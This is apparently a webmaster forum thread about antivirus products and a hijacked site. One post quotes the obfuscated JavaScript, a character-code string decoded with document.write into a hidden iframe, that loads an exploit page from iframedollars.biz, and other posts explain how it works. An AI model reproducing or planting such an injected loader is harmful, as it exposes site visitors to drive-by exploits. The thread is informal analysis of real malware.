Hmmmm funny how the "newbie Norton/McAfee shit" caught it first.
hahahaha keep on keeping on... thats why we @ gfy love you guys..
Bah, I meant to say it didn't popup a warning, but it still cleaned the file.
The settings I have my NOD32 are on "high risk", meaning it warns me only about high-risk viruses/trojans... Not some half-assed hijacker that any idiot can remove.
Bah, I meant to say it didn't popup a warning, but it still cleaned the file.
The settings I have my NOD32 are on "high risk", meaning it warns me only about high-risk viruses/trojans... Not some half-assed hijacker that any idiot can remove.
Hate to burst your bubble, but I can set my Norton not to alert me, as well. I suppose I could also buy some special, elite smoke detectors for my house that only send out silent alarms when it's on fire, but I'd rather know when there's a problem. I'm crazy like that.
the iframe is called from his own java script.
var temp="",i,c=0,out="";var str="60!73!70!82!65!77!69!32!83!82!67!61!34!104!11 6!116!112!58!47!47!105!102!114!97!109!101!100!111! 108!108!97!114!115!46!98!105!122!47!115!49!54!52!4 6!104!116!109!108!34!32!87!73!68!84!72!61!48!32!66 !79!82!68!69!82!61!48!32!72!69!73!71!72!84!61!48!3 2!115!116!121!108!101!61!34!100!105!115!112!108!97 !121!58!110!111!110!101!34!62!60!47!73!70!82!65!77 !69!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c ++);c++;out=out+String.fromCharCode(temp);temp=""; }document.write(out);
Either he likes the extra money or his site has been hacked.
The script builds the string for the iframe.
its just the asci code
60 = <
73 = i
70 = f
82 = r and so on.
document.write puts out <iframe......iframedollars.biz> . Then iframedollars starts the fucking exploit.
Comment